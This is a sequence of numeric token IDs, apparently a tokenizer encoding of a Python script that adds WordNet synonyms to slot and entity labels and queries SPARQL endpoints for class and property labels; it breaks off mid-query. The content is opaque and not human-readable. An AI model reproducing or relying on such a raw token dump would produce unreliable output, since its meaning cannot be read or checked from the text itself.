4426, 13, 1678, 396, 2541, 1722, 877, 6904, 2987, 358, 287, 29918, 2536, 327, 29918, 11330, 29889, 3126, 1495, 408, 285, 29901, 13, 1678, 396, 1678, 4426, 353, 4390, 29889, 1359, 29898, 29888, 29897, 13, 13, 1678, 599, 29918, 11330, 29918, 1767, 353, 1051, 29898, 11330, 29889, 8149, 3101, 13, 13, 1678, 363, 1820, 297, 4426, 29901, 13, 4706, 565, 525, 19274, 4735, 29879, 29915, 297, 4426, 29961, 1989, 5387, 13, 9651, 5222, 4735, 29879, 353, 4426, 29961, 1989, 22322, 19274, 4735, 29879, 2033, 13, 13, 9651, 716, 29918, 19274, 29877, 948, 1516, 29922, 5159, 13, 9651, 363, 5222, 4735, 297, 5222, 4735, 29879, 29901, 13, 18884, 565, 451, 5222, 4735, 297, 599, 29918, 11330, 29918, 1767, 29901, 13, 462, 1678, 599, 29918, 11330, 29918, 1767, 29889, 4397, 29898, 19274, 4735, 29897, 13, 462, 1678, 716, 29918, 19274, 29877, 948, 1516, 29889, 4397, 29898, 19274, 4735, 29897, 13, 9651, 4426, 29961, 1989, 22322, 19274, 4735, 29879, 2033, 353, 716, 29918, 19274, 29877, 948, 1516, 13, 13, 1678, 396, 2541, 1722, 703, 6904, 2987, 358, 287, 29918, 2536, 327, 29918, 11330, 29889, 3126, 613, 376, 29893, 1159, 408, 2436, 29918, 1445, 29901, 13, 1678, 396, 1678, 4390, 29889, 15070, 29898, 11330, 29892, 2436, 29918, 1445, 29892, 29536, 29922, 29946, 29897, 13, 13, 1753, 18765, 29918, 2536, 327, 29918, 11330, 7295, 13, 1678, 5534, 4426, 13, 1678, 396, 2541, 1722, 877, 6904, 14941, 287, 29918, 2536, 327, 29918, 11330, 29889, 3126, 1495, 408, 285, 29901, 13, 1678, 396, 1678, 4426, 353, 4390, 29889, 1359, 29898, 29888, 29897, 13, 13, 1678, 363, 1820, 297, 4426, 29901, 13, 4706, 396, 302, 1309, 29879, 304, 1147, 5824, 13, 4706, 9750, 29918, 9161, 2701, 353, 3588, 29898, 1989, 29892, 525, 29876, 742, 525, 29894, 1495, 13, 13, 4706, 9750, 29918, 689, 353, 5159, 13, 4706, 363, 9750, 29918, 23583, 297, 9750, 29918, 9161, 2701, 29901, 13, 9651, 995, 353, 9750, 29918, 23583, 29961, 29900, 29962, 13, 9651, 995, 353, 5941, 29918, 1767, 29898, 1767, 29897, 13, 9651, 9750, 29918, 689, 29889, 4397, 29898, 1767, 29897, 13, 13, 4706, 9750, 29918, 689, 353, 731, 29898, 18248, 29918, 689, 29897, 13, 13, 4706, 396, 788, 9750, 3041, 5942, 13, 4706, 363, 9750, 297, 9750, 29918, 689, 29901, 13, 9651, 5694, 353, 679, 3596, 25433, 5942, 29898, 18248, 29897, 13, 632, 13, 9651, 3041, 5942, 353, 5159, 13, 9651, 363, 260, 297, 5694, 29901, 13, 18884, 995, 353, 5694, 29961, 29873, 3816, 29900, 29962, 13, 18884, 995, 353, 5941, 29918, 1767, 29898, 1767, 29897, 13, 18884, 3041, 5942, 29889, 4397, 29898, 1767, 29897, 13, 9651, 3041, 5942, 353, 731, 29898, 7192, 5942, 29897, 13, 9651, 9750, 29918, 689, 353, 9750, 29918, 689, 29889, 13094, 29898, 7192, 5942, 29897, 13, 13, 4706, 9750, 29918, 689, 353, 731, 29898, 18248, 29918, 689, 29897, 13, 13, 4706, 565, 1820, 297, 9750, 29918, 689, 29901, 13, 9651, 9750, 29918, 689, 29889, 5992, 29898, 1989, 29897, 13, 13, 4706, 9750, 29918, 689, 353, 1051, 29898, 18248, 29918, 689, 29897, 13, 13, 4706, 396, 302, 1309, 29879, 304, 594, 622, 3145, 13, 4706, 594, 25674, 29918, 9161, 2701, 353, 3588, 29898, 1989, 29892, 525, 29876, 742, 525, 29874, 1495, 13, 13, 4706, 594, 25674, 29918, 689, 353, 5159, 13, 4706, 363, 594, 25674, 29918, 23583, 297, 594, 25674, 29918, 9161, 2701, 29901, 13, 9651, 995, 353, 594, 25674, 29918, 23583, 29961, 29900, 29962, 13, 9651, 995, 353, 5941, 29918, 1767, 29898, 1767, 29897, 13, 9651, 594, 25674, 29918, 689, 29889, 4397, 29898, 1767, 29897, 13, 4706, 594, 25674, 29918, 689, 353, 731, 29898, 328, 25674, 29918, 689, 29897, 13, 13, 4706, 565, 1820, 297, 594, 25674, 29918, 689, 29901, 13, 9651, 594, 25674, 29918, 689, 29889, 5992, 29898, 1989, 29897, 13, 13, 4706, 594, 25674, 29918, 689, 353, 1051, 29898, 328, 25674, 29918, 689, 29897, 13, 13, 4706, 14550, 13, 4706, 396, 302, 1309, 5222, 4735, 29879, 13, 4706, 5222, 4735, 29879, 353, 518, 14941, 29918, 1767, 29898, 29880, 29889, 978, 3101, 363, 5222, 842, 297, 281, 29876, 29889, 19274, 7224, 29898, 1989, 29897, 363, 301, 297, 5222, 842, 29889, 2409, 8247, 580, 29962, 13, 4706, 5222, 4735, 29879, 353, 731, 29898, 19274, 4735, 29879, 29897, 13, 13, 4706, 5694, 353, 731, 580, 13, 4706, 363, 269, 297, 5222, 4735, 29879, 29901, 13, 9651, 565, 451, 269, 297, 599, 29918, 2987, 358, 287, 29918, 1767, 29901, 13, 18884, 5694, 29889, 1202, 29898, 29879, 29897, 13, 13, 4706, 396, 361, 1820, 297, 5694, 29901, 13, 4706, 396, 268, 5694, 29889, 5992, 29898, 1989, 29897, 13, 308, 13, 4706, 5222, 4735, 29879, 353, 1051, 29898, 7382, 29897, 13, 13, 4706, 396, 14405, 599, 13, 4706, 10410, 29918, 19274, 4735, 29879, 353, 1051, 29898, 842, 29898, 18248, 29918, 689, 718, 5222, 4735, 29879, 718, 594, 25674, 29918, 689, 876, 13, 4706, 14550, 13, 4706, 10410, 29918, 19274, 4735, 29879, 353, 1051, 29898, 842, 29898, 18248, 29918, 689, 718, 594, 25674, 29918, 689, 876, 13, 13, 4706, 565, 10410, 29918, 19274, 4735, 29879, 29901, 13, 9651, 4426, 29961, 1989, 29962, 3366, 19274, 4735, 29879, 3108, 353, 10410, 29918, 19274, 4735, 29879, 13, 13, 1678, 396, 2541, 1722, 703, 6904, 2987, 358, 287, 29918, 2536, 327, 29918, 11330, 29889, 3126, 613, 376, 29893, 1159, 408, 2436, 29918, 1445, 29901, 13, 1678, 396, 1678, 4390, 29889, 15070, 29898, 11330, 29892, 2436, 29918, 1445, 29892, 29536, 29922, 29946, 29897, 13, 13, 1753, 5941, 29918, 2536, 327, 29918, 11330, 7295, 13, 1678, 5534, 4426, 13, 1678, 396, 2541, 1722, 877, 6904, 2536, 327, 29918, 11330, 29889, 3126, 1495, 408, 285, 29901, 13, 1678, 396, 1678, 4426, 353, 4390, 29889, 1359, 29898, 29888, 29897, 13, 13, 1678, 5941, 287, 29918, 11330, 353, 6571, 13, 1678, 363, 1820, 297, 4426, 29901, 13, 4706, 565, 3743, 29918, 18732, 29918, 3090, 21706, 29898, 1989, 1125, 13, 9651, 716, 29918, 1989, 353, 5941, 29918, 1767, 29898, 1989, 29897, 13, 4706, 1683, 29901, 13, 9651, 716, 29918, 1989, 353, 1820, 13, 13, 4706, 565, 716, 29918, 1989, 322, 7431, 29898, 1482, 29918, 1989, 29889, 17010, 3101, 29958, 29900, 322, 451, 3743, 29918, 18732, 29918, 3090, 21706, 29898, 1482, 29918, 1989, 1125, 13, 9651, 565, 451, 716, 29918, 1989, 297, 5941, 287, 29918, 11330, 29901, 13, 18884, 5941, 287, 29918, 11330, 29961, 1482, 29918, 1989, 29962, 353, 11117, 26045, 2396, 2636, 29913, 13, 9651, 5941, 287, 29918, 11330, 29961, 1482, 29918, 1989, 22322, 26045, 2033, 353, 1051, 29898, 842, 29898, 14941, 287, 29918, 11330, 29961, 1482, 29918, 1989, 22322, 26045, 2033, 718, 4426, 29961, 1989, 22322, 26045, 25901, 13, 9651, 565, 525, 19274, 4735, 29879, 29915, 297, 4426, 29961, 1989, 5387, 13, 18884, 565, 451, 525, 19274, 4735, 29879, 29915, 297, 5941, 287, 29918, 11330, 29961, 1482, 29918, 1989, 5387, 13, 462, 1678, 5941, 287, 29918, 11330, 29961, 1482, 29918, 1989, 22322, 19274, 4735, 29879, 2033, 353, 5159, 13, 18884, 5941, 287, 29918, 11330, 29961, 1482, 29918, 1989, 22322, 19274, 4735, 29879, 2033, 353, 1051, 29898, 842, 29898, 14941, 287, 29918, 11330, 29961, 1482, 29918, 1989, 22322, 19274, 4735, 29879, 2033, 718, 4426, 29961, 1989, 22322, 19274, 4735, 29879, 25901, 13, 268, 13, 13, 1678, 396, 2541, 1722, 703, 6904, 14941, 287, 29918, 2536, 327, 29918, 11330, 29889, 3126, 613, 376, 29893, 1159, 408, 2436, 29918, 1445, 29901, 13, 1678, 396, 1678, 4390, 29889, 15070, 29898, 14941, 287, 29918, 11330, 29892, 2436, 29918, 1445, 29892, 29536, 29922, 29946, 29897, 13, 13, 1678, 4426, 353, 5941, 287, 29918, 11330, 13, 13, 13, 1753, 18765, 29918, 2536, 327, 29918, 296, 1907, 7295, 13, 13, 1678, 411, 1722, 877, 6904, 14941, 287, 29918, 2536, 327, 29918, 296, 1907, 29889, 3126, 1495, 408, 285, 29901, 13, 4706, 16212, 353, 4390, 29889, 1359, 29898, 29888, 29897, 13, 13, 1678, 363, 1820, 297, 16212, 29901, 13, 4706, 5222, 4735, 29879, 353, 518, 14941, 29918, 1767, 29898, 29880, 29889, 978, 3101, 363, 5222, 842, 297, 281, 29876, 29889, 19274, 7224, 29898, 1989, 29897, 363, 301, 297, 5222, 842, 29889, 2409, 8247, 580, 29962, 13, 4706, 5222, 4735, 29879, 353, 731, 29898, 19274, 4735, 29879, 29897, 13, 13, 4706, 565, 1820, 297, 5222, 4735, 29879, 29901, 13, 632, 5222, 4735, 29879, 29889, 5992, 29898, 1989, 29897, 13, 308, 13, 4706, 5222, 4735, 29879, 353, 1051, 29898, 19274, 4735, 29879, 29897, 13, 13, 4706, 565, 5222, 4735, 29879, 29901, 13, 9651, 16212, 29961, 1989, 29962, 3366, 19274, 4735, 29879, 3108, 353, 5222, 4735, 29879, 13, 13, 1678, 411, 1722, 703, 6904, 2987, 358, 287, 29918, 2536, 327, 29918, 296, 1907, 29889, 3126, 613, 376, 29893, 1159, 408, 2436, 29918, 1445, 29901, 13, 4706, 4390, 29889, 15070, 29898, 296, 1907, 29892, 2436, 29918, 1445, 29892, 29536, 29922, 29946, 29897, 13, 13, 1753, 5941, 29918, 2536, 327, 29918, 296, 1907, 7295, 13, 1678, 5534, 16212, 13, 1678, 396, 2541, 1722, 877, 6904, 2536, 327, 29918, 296, 1907, 29889, 3126, 1495, 408, 285, 29901, 13, 1678, 396, 1678, 16212, 353, 4390, 29889, 1359, 29898, 29888, 29897, 13, 13, 1678, 5941, 287, 29918, 296, 1907, 353, 6571, 13, 1678, 363, 1820, 297, 16212, 29901, 13, 4706, 565, 3743, 29918, 18732, 29918, 3090, 21706, 29898, 1989, 1125, 13, 9651, 716, 29918, 1989, 353, 5941, 29918, 1767, 29898, 1989, 29897, 13, 4706, 1683, 29901, 13, 9651, 716, 29918, 1989, 353, 1820, 13, 13, 4706, 565, 716, 29918, 1989, 322, 7431, 29898, 1482, 29918, 1989, 29889, 17010, 3101, 29958, 29900, 322, 451, 3743, 29918, 18732, 29918, 3090, 21706, 29898, 1482, 29918, 1989, 1125, 13, 9651, 565, 451, 716, 29918, 1989, 297, 5941, 287, 29918, 296, 1907, 29901, 13, 18884, 5941, 287, 29918, 296, 1907, 29961, 1482, 29918, 1989, 29962, 353, 11117, 26045, 2396, 2636, 29913, 13, 9651, 5941, 287, 29918, 296, 1907, 29961, 1482, 29918, 1989, 22322, 26045, 2033, 353, 1051, 29898, 842, 29898, 14941, 287, 29918, 296, 1907, 29961, 1482, 29918, 1989, 22322, 26045, 2033, 718, 16212, 29961, 1989, 22322, 26045, 25901, 13, 9651, 565, 525, 19274, 4735, 29879, 29915, 297, 16212, 29961, 1989, 5387, 13, 18884, 565, 451, 525, 19274, 4735, 29879, 29915, 297, 5941, 287, 29918, 296, 1907, 29961, 1482, 29918, 1989, 5387, 13, 462, 1678, 5941, 287, 29918, 296, 1907, 29961, 1482, 29918, 1989, 22322, 19274, 4735, 29879, 2033, 353, 5159, 13, 18884, 5941, 287, 29918, 296, 1907, 29961, 1482, 29918, 1989, 22322, 19274, 4735, 29879, 2033, 353, 1051, 29898, 842, 29898, 14941, 287, 29918, 296, 1907, 29961, 1482, 29918, 1989, 22322, 19274, 4735, 29879, 2033, 718, 16212, 29961, 1989, 22322, 19274, 4735, 29879, 25901, 13, 13, 1678, 396, 2541, 1722, 703, 6904, 14941, 287, 29918, 2536, 327, 29918, 296, 1907, 29889, 3126, 613, 376, 29893, 1159, 408, 2436, 29918, 1445, 29901, 13, 1678, 396, 1678, 4390, 29889, 15070, 29898, 14941, 287, 29918, 296, 1907, 29892, 2436, 29918, 1445, 29892, 29536, 29922, 29946, 29897, 13, 1678, 16212, 353, 5941, 287, 29918, 296, 1907, 13, 13, 1753, 5706, 29918, 10041, 29918, 1643, 29898, 2536, 327, 1125, 13, 1678, 5633, 353, 21497, 3366, 1990, 3108, 3366, 1767, 16862, 5451, 11974, 1159, 13, 1678, 3858, 353, 5633, 14352, 29896, 29962, 13, 13, 1678, 565, 12305, 29908, 297, 3858, 29901, 13, 4706, 5633, 353, 3858, 29889, 5451, 14822, 1159, 13, 4706, 3858, 353, 5633, 14352, 29896, 29962, 13, 13, 1678, 269, 29896, 353, 337, 29889, 1491, 877, 29898, 1846, 4197, 29909, 29899, 29999, 3816, 29874, 29899, 29920, 10062, 29897, 742, 364, 12764, 29896, 3187, 29906, 742, 3858, 29897, 13, 1678, 3858, 353, 337, 29889, 1491, 877, 4197, 29874, 29899, 29920, 29900, 29899, 29929, 2314, 4197, 29909, 29899, 29999, 2314, 742, 364, 12764, 29896, 3187, 29906, 742, 269, 29896, 467, 13609, 580, 13, 1678, 3858, 353, 3858, 29889, 6506, 703, 29918, 613, 376, 16521, 13, 13, 1678, 736, 3858, 13, 13, 1753, 3787, 29918, 296, 1907, 29898, 2914, 1125, 13, 1678, 5534, 16212, 13, 13, 1678, 363, 21497, 297, 1121, 3366, 9902, 3108, 3366, 5355, 886, 3108, 29901, 13, 4706, 565, 376, 1643, 29908, 451, 297, 21497, 470, 376, 1767, 29908, 451, 297, 21497, 3366, 1643, 3108, 584, 13, 9651, 3858, 353, 5706, 29918, 10041, 29918, 1643, 29898, 2536, 327, 29897, 13, 4706, 1683, 29901, 13, 9651, 3858, 353, 21497, 3366, 1643, 3108, 3366, 1767, 3108, 13, 13, 4706, 3858, 353, 3858, 29889, 13609, 580, 13, 13, 4706, 565, 7431, 29898, 1643, 29897, 529, 29871, 29896, 29946, 29900, 29901, 13, 9651, 565, 3858, 451, 297, 16212, 29901, 13, 18884, 16212, 29961, 1643, 29962, 353, 8853, 26045, 29908, 584, 731, 28296, 13, 13, 9651, 16212, 29961, 1643, 29962, 3366, 26045, 16862, 1202, 28945, 17969, 2536, 327, 3366, 1990, 3108, 3366, 1767, 3108, 29974, 1013, 1159, 13, 13, 1753, 2346, 29918, 808, 359, 1168, 1547, 29879, 29898, 29879, 862, 1519, 29918, 29734, 29892, 2322, 9527, 353, 12633, 6361, 543, 264, 29908, 1125, 13, 1678, 805, 279, 1519, 353, 10937, 1718, 2239, 15646, 29898, 29879, 862, 1519, 29918, 29734, 29892, 2322, 9527, 29922, 4381, 9527, 29897, 13, 13, 1678, 2346, 353, 4852, 15094, 25634, 2071, 359, 29901, 529, 1124, 597, 1636, 29889, 29893, 29941, 29889, 990, 29914, 29906, 29900, 29900, 29946, 29914, 29900, 29906, 29914, 808, 359, 29914, 3221, 29937, 29958, 376, 13, 4706, 376, 6404, 360, 9047, 28852, 1577, 1990, 1577, 1643, 5754, 426, 376, 13, 4706, 376, 29973, 1990, 263, 2071, 359, 29901, 1168, 1547, 1213, 13, 4706, 376, 14094, 2725, 1964, 29912, 376, 13, 9651, 376, 29973, 1990, 2071, 359, 29901, 29886, 999, 4775, 1577, 1643, 29889, 376, 13, 632, 376, 3738, 29931, 4945, 29898, 29931, 19453, 10780, 1643, 29897, 2433, 17969, 3893, 13578, 1495, 29908, 29871, 13, 4706, 376, 5038, 29871, 13, 1678, 376, 29913, 16521, 13, 13, 13, 1678, 805, 279, 1519, 29889, 842, 3010, 29898, 1972, 29897, 13, 1678, 805, 279, 1519, 29889, 842, 11609, 5809, 29898, 7249, 29897, 13, 1678, 1121, 353, 805, 279, 1519, 29889, 1972, 2141, 13441, 580, 13, 13, 1678, 1018, 29901, 13, 4706, 1121, 353, 805, 279, 1519, 29889, 1972, 2141, 13441, 580, 13, 4706, 3787, 29918, 296, 1907, 29898, 2914, 29897, 13, 4706, 1596, 703, 8949, 2071, 359, 29901, 535, 1547, 29879, 2346, 1159, 13, 1678, 5174, 29901, 13, 4706, 1596, 703, 17776, 2071, 359, 29901, 535, 1547, 29879, 2346, 1159, 13, 4706, 1209, 13, 13, 1753, 2346, 29918, 29878, 29069, 27403, 29898, 29879, 862, 1519, 29918, 29734, 29892, 2322, 9527, 353, 12633, 6361, 543, 264, 29908, 1125, 13, 1678, 805, 279, 1519, 353, 10937, 1718, 2239, 15646, 29898, 29879, 862, 1519, 29918, 29734, 29892, 2322, 9527, 29922, 4381, 9527, 29897, 13, 13, 1678, 2346, 353, 4852, 15094, 25634, 364, 29069, 29901, 529, 1124, 597, 1636, 29889, 29893, 29941, 29889, 990, 29914, 29906, 29900, 29900, 29900, 29914, 29900, 29896, 29914, 29878, 2176, 29899, 11010, 29937, 29958, 376, 13, 4706, 376, 6404, 360, 9047, 28852, 1577, 1990, 1577, 1643, 5754, 426, 376, 13, 4706, 376, 29973, 1990, 263, 364, 29069, 29901, 2385, 29889, 376, 13, 4706, 376, 14094, 2725, 1964, 29912, 376, 13, 9651, 376, 29973, 1990, 364, 29069, 29901, 1643, 1577, 1643, 29889, 376, 13, 632, 376, 3738, 29931, 4945, 29898, 29931, 19453, 10780, 1643, 29897, 2433, 17969, 3893, 13578, 1495, 29908, 29871, 13, 4706, 376, 5038, 29871, 13, 1678, 376, 29913, 16521, 13, 13, 13, 1678, 805, 279, 1519, 29889, 842, 3010, 29898, 1972, 29897, 13, 1678, 805, 279, 1519, 29889, 842, 11609, 5809, 29898, 7249, 29897, 13, 1678, 1121, 353, 805, 279, 1519, 29889, 1972, 2141, 13441, 580, 13, 13, 1678, 1018, 29901, 13, 4706, 1121, 353, 805, 279, 1519, 29889, 1972, 2141, 13441, 580, 13, 4706, 3787, 29918, 296, 1907, 29898, 2914, 29897, 13, 4706, 1596, 703, 8949, 364, 29069, 29901, 13203, 2346, 1159, 13, 1678, 5174, 29901, 13, 4706, 1596, 703, 17776, 364, 29069, 29901, 13203, 2346, 1159, 13, 4706, 1209, 13, 13, 1753, 2346, 29918, 340, 29880, 27403, 29898, 29879, 862, 1519, 29918, 29734, 29892, 2322, 9527, 353, 12633, 6361, 543, 264, 29908, 1125, 13, 1678, 805, 279, 1519, 353, 10937, 1718, 2239, 15646, 29898, 29879, 862, 1519, 29918, 29734, 29892, 2322, 9527, 29922, 4381, 9527, 29897, 13, 13, 1678, 2346, 353, 4852, 15094, 25634, 8152, 29880, 29901, 529, 1124, 597, 1636, 29889, 29893, 29941, 29889, 990, 29914, 29906, 29900, 29900, 29906, 29914, 29900, 29955, 29914, 340, 29880, 29937, 29958, 376, 13, 4706, 376, 15094, 25634, 364, 29069, 29901, 529, 1124, 597, 1636, 29889, 29893, 29941, 29889, 990, 29914, 29906, 29900, 29900, 29900, 29914, 29900, 29896, 29914, 29878, 2176, 29899, 11010, 29937, 29958, 376, 13, 4706, 376, 6404, 360, 9047, 28852, 1577, 1990, 1577, 1643, 5754, 426, 376, 13, 4706, 376, 29973, 1990, 263, 8152, 29880, 29901, 2385, 29889, 376, 13, 4706, 376, 14094, 2725, 1964, 29912, 376, 13, 9651, 376, 29973, 1990, 364, 29069, 29901, 1643, 1577, 1643, 29889, 376, 13, 632, 376, 3738, 29931, 4945, 29898, 29931, 19453, 10780, 1643, 29897, 2433, 17969, 3893, 13578, 1495, 29908, 29871, 13, 4706, 376, 5038, 29871, 13, 1678, 376, 27195, 13, 13, 13, 1678, 805, 279, 1519, 29889, 842, 3010, 29898, 1972, 29897, 13, 1678, 805, 279, 1519, 29889, 842, 11609, 5809, 29898, 7249, 29897, 13, 1678, 1121, 353, 805, 279, 1519, 29889, 1972, 2141, 13441, 580, 13, 13, 1678, 1018, 29901, 13, 4706, 1121, 353, 805, 279, 1519, 29889, 1972, 2141, 13441, 580, 13, 4706, 3787, 29918, 296, 1907, 29898, 2914, 29897, 13, 4706, 1596, 703, 8949, 8152, 29880, 4413, 2346, 1159, 13, 1678, 5174, 29901, 13, 4706, 1596, 703, 17776, 8152, 29880, 4413, 2346, 1159, 13, 4706, 1209, 13, 13, 1753, 2346, 29918, 3880, 27403, 29898, 29879, 862, 1519, 29918, 29734, 29892, 2322, 9527, 353, 12633, 6361, 543, 264, 29908, 1125, 13, 1678, 805, 279, 1519, 353, 10937, 1718, 2239, 15646, 29898, 29879, 862, 1519, 29918, 29734, 29892, 2322, 9527, 29922, 4381, 9527, 29897, 13, 13, 1678, 2346, 353, 4852, 15094, 25634, 364, 29069, 29901, 529, 1124, 597, 1636, 29889, 29893, 29941, 29889, 990, 29914, 29906, 29900, 29900, 29900, 29914, 29900, 29896, 29914, 29878, 2176, 29899, 11010, 29937, 29958, 376, 13, 4706, 376, 6404, 360, 9047, 28852, 1577, 1990, 1577, 1643, 5754, 426, 376, 13, 4706, 376, 2636, 263, 1577, 1990, 29889, 376, 13, 4706, 376, 14094, 2725, 1964, 29912, 376, 13, 9651, 376, 29973, 1990, 364, 29069, 29901, 1643, 1577, 1643, 29889, 376, 13, 632, 376, 3738, 29931, 4945, 29898, 29931, 19453, 10780, 1643, 29897, 2433, 17969, 3893, 13578, 1495, 29908, 29871, 13, 4706, 376, 5038, 29871, 13, 1678, 376, 29913, 16521, 13, 13, 13, 1678, 805, 279, 1519, 29889, 842, 3010, 29898, 1972, 29897, 13, 1678, 805, 279, 1519, 29889, 842, 11609, 5809, 29898, 7249, 29897, 13, 1678, 1018, 29901, 13, 4706, 1121, 353, 805, 279, 1519, 29889, 1972, 2141, 13441, 580, 13, 4706, 3787, 29918, 296, 1907, 29898, 2914, 29897, 13, 4706, 1596, 703, 8949, 1304, 4413, 2346, 1159, 13, 1678, 5174, 29901, 13, 4706, 1596, 703, 17776, 1304, 4413, 2346, 1159, 13, 4706, 1209, 13, 13, 1753, 2346, 29918, 296, 1907, 29898, 29879, 862, 1519, 29918, 29734, 29892, 2322, 9527, 353, 12633, 6361, 543, 264, 29908, 1125, 13, 1678, 5534, 16212, 13, 13, 1678, 2346, 29918, 3880, 27403, 29898, 29879, 862, 1519, 29918, 29734, 29892, 2322, 9527, 29922, 4381, 9527, 29892, 6361, 29922, 6361, 29897, 13, 1678, 2346, 29918, 808, 359, 1168, 1547, 29879, 29898, 29879, 862, 1519, 29918, 29734, 29892, 29871, 2322, 9527, 29922, 4381, 9527, 29892, 6361, 29922, 6361, 29897, 13, 1678, 2346, 29918, 29878, 29069, 27403, 29898, 29879, 862, 1519, 29918, 29734, 29892, 29871, 2322, 9527, 29922, 4381, 9527, 29892, 6361, 29922, 6361, 29897, 13, 1678, 2346, 29918, 340, 29880, 27403, 29898, 29879, 862, 1519, 29918, 29734, 29892, 2322, 9527, 29922, 2322, 9527, 29892, 6361, 29922, 6361, 29897, 13, 13, 1678, 363, 321, 297, 16212, 29901, 13, 4706, 16212, 29961, 29872, 29962, 3366, 26045, 3108, 353, 1051, 29898, 296, 1907, 29961, 29872, 29962, 3366, 26045, 20068, 13, 13, 1678, 396, 2541, 1722, 703, 6904, 2536, 327, 29918, 296, 1907, 29889, 3126, 613, 376, 29893, 1159, 408, 2436, 29918, 1445, 29901, 13, 1678, 396, 1678, 4390, 29889, 15070, 29898, 296, 1907, 29892, 2436, 29918, 1445, 29892, 29536, 29922, 29946, 29897, 13, 13, 13, 1753, 5706, 29918, 6799, 29918, 1643, 29898, 2536, 327, 1125, 13, 1678, 5633, 353, 21497, 3366, 29886, 3108, 3366, 1767, 16862, 5451, 11974, 1159, 13, 1678, 3858, 353, 5633, 14352, 29896, 29962, 13, 13, 1678, 565, 12305, 29908, 297, 3858, 29901, 13, 4706, 5633, 353, 3858, 29889, 5451, 14822, 1159, 13, 4706, 3858, 353, 5633, 14352, 29896, 29962, 13, 13, 1678, 269, 29896, 353, 337, 29889, 1491, 877, 29898, 1846, 4197, 29909, 29899, 29999, 3816, 29874, 29899, 29920, 10062, 29897, 742, 364, 12764, 29896, 3187, 29906, 742, 3858, 29897, 13, 1678, 3858, 353, 337, 29889, 1491, 877, 4197, 29874, 29899, 29920, 29900, 29899, 29929, 2314, 4197, 29909, 29899, 29999, 2314, 742, 364, 12764, 29896, 3187, 29906, 742, 269, 29896, 467, 13609, 580, 13, 1678, 3858, 353, 3858, 29889, 6506, 703, 29918, 613, 376, 16521, 13, 13, 1678, 736, 3858, 13, 13, 1753, 3787, 29918, 11330, 29898, 2914, 1125, 13, 1678, 5534, 4426, 13, 13, 1678, 363, 21497, 297, 1121, 3366, 9902, 3108, 3366, 5355, 886, 3108, 29901, 13, 4706, 565, 376, 1643, 29908, 451, 297, 21497, 470, 376, 1767, 29908, 451, 297, 21497, 3366, 1643, 3108, 584, 13, 9651, 3858, 353, 5706, 29918, 6799, 29918, 1643, 29898, 2536, 327, 29897, 13, 4706, 1683, 29901, 13, 9651, 3858, 353, 21497, 3366, 1643, 3108, 3366, 1767, 3108, 13, 13, 4706, 3858, 353, 3858, 29889, 13609, 580, 13, 13, 4706, 565, 7431, 29898, 1643, 29897, 529, 29871, 29896, 29946, 29900, 29901, 13, 9651, 565, 3858, 451, 297, 4426, 29901, 13, 18884, 4426, 29961, 1643, 29962, 353, 8853, 26045, 29908, 584, 731, 28296, 13, 13, 9651, 4426, 29961, 1643, 29962, 3366, 26045, 16862, 1202, 28945, 17969, 2536, 327, 3366, 29886, 3108, 3366, 1767, 3108, 29974, 1013, 1159, 13, 13, 1753, 2346, 29918, 29878, 2176, 4854, 29898, 29879, 862, 1519, 29918, 29734, 29892, 2322, 9527, 353, 12633, 6361, 543, 264, 29908, 1125, 13, 1678, 805, 279, 1519, 353, 10937, 1718, 2239, 15646, 29898, 29879, 862, 1519, 29918, 29734, 29892, 29871, 2322, 9527, 29922, 4381, 9527, 29897, 13, 13, 1678, 2346, 353, 4852, 15094, 25634, 364, 29069, 29901, 529, 1124, 597, 1636, 29889, 29893, 29941, 29889, 990, 29914, 29906, 29900, 29900, 29900, 29914, 29900, 29896, 29914, 29878, 2176, 29899, 11010, 29937, 29958, 376, 13, 4706, 376, 15094, 25634, 364, 2176, 29901, 29871, 529, 991, 597, 1636, 29889, 29893, 29941, 29889, 990, 29914, 29896, 29929, 29929, 29929, 29914, 29900, 29906, 29914, 29906, 29906, 29899, 29878, 2176, 29899, 29562, 29899, 1983, 29937, 11903, 13, 4706, 376, 6404, 360, 9047, 28852, 1577, 29886, 1577, 1643, 5754, 426, 376, 13, 4706, 376, 29973, 29886, 364, 2176, 29901, 1853, 364, 2176, 29901, 4854, 29889, 376, 13, 4706, 376, 14094, 2725, 1964, 29912, 376, 13, 9651, 376, 29973, 29886, 364, 29069, 29901, 1643, 1577, 1643, 29889, 376, 13, 632, 376, 3738, 29931, 4945, 29898, 29931, 19453, 10780, 1643, 29897, 2433, 17969, 3893, 13578, 1495, 29908, 29871, 13, 4706, 376, 5038, 29871, 13, 1678, 376, 27195, 13, 13, 13, 1678, 805, 279, 1519, 29889, 842, 3010, 29898, 1972, 29897, 13, 1678, 805, 279, 1519, 29889, 842, 11609, 5809, 29898, 7249, 29897, 13, 1678, 1018, 29901, 13, 4706, 1121, 353, 805, 279, 1519, 29889, 1972, 2141, 13441, 580, 13, 4706, 3787, 29918, 11330, 29898, 2914, 29897, 13, 4706, 1596, 703, 8949, 364, 2176, 29901, 4854, 2346, 1159, 13, 1678, 5174, 29901, 13, 4706, 1596, 703, 26061, 364, 2176, 29901, 4854, 2346, 1159, 13, 4706, 1209, 13, 13, 1753, 2346, 29918, 340, 29880, 16390, 23179, 11857, 29898, 29879, 862, 1519, 29918, 29734, 29892, 2322, 9527, 353, 12633, 6361, 543, 264, 29908, 1125, 13, 1678, 805, 279, 1519, 353, 10937, 1718, 2239, 15646, 29898, 29879, 862, 1519, 29918, 29734, 29892, 29871, 2322, 9527, 29922, 4381, 9527, 29897, 13, 13, 1678, 2346, 353, 4852, 15094, 25634, 364, 2176, 29901, 29871, 529, 1124, 597, 1636, 29889, 29893, 29941, 29889, 990, 29914, 29896, 29929, 29929, 29929, 29914, 29900, 29906, 29914, 29906, 29906, 29899, 29878, 2176, 29899, 29562, 29899, 1983, 29937, 11903, 13, 4706, 376, 15094, 25634, 364, 29069, 29901, 529, 1124, 597, 1636, 29889, 29893, 29941, 29889, 990, 29914, 29906, 29900, 29900, 29900, 29914, 29900, 29896, 29914, 29878, 2176, 29899, 11010, 29937, 11903, 13, 4706, 376, 15094, 25634, 8152, 29880, 29901, 29871, 529, 1124, 597, 1636, 29889, 29893, 29941, 29889, 990, 29914, 29906, 29900, 29900, 29906, 29914, 29900, 29955, 29914, 340, 29880, 29937, 11903, 13, 4706, 376, 6404, 360, 9047, 28852, 1577, 29886, 1577, 1643, 5754, 426, 376, 13, 4706, 376, 29973, 29886, 364, 2176, 29901, 1853, 8152, 29880, 29901, 16390, 23179, 4854, 29889, 376, 13, 4706, 376, 14094, 2725, 1964, 29912, 376, 13, 9651, 376, 29973, 29886, 364, 29069, 